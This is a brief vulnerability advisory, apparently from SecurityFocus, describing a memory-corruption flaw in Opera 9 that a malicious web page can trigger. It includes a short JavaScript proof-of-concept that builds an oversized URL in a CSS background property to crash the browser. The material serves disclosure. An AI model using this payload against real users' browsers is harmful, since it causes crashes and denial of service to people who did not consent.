source: https://www.securityfocus.com/bid/19166/info Opera Web Browser is prone to a memory-corruption vulnerability. A remote attacker may trigger this issue by enticing a user to visit a malicious website. This issue has been reported in Opera 9. Other versions may be vulnerable as well. This BID has been retired because the vendor reported that this issue is a duplicate of BID 18585 (Opera Malicious HTML Processing Denial of Service Vulnerability). function Demo() { var a = document.createElement('a'); var b = 'XXXX'; while (b.length <= 1024*1024) b+=b; a.style.background = 'url(https://' + b + ')'; } Clicking the button below may crash your browser!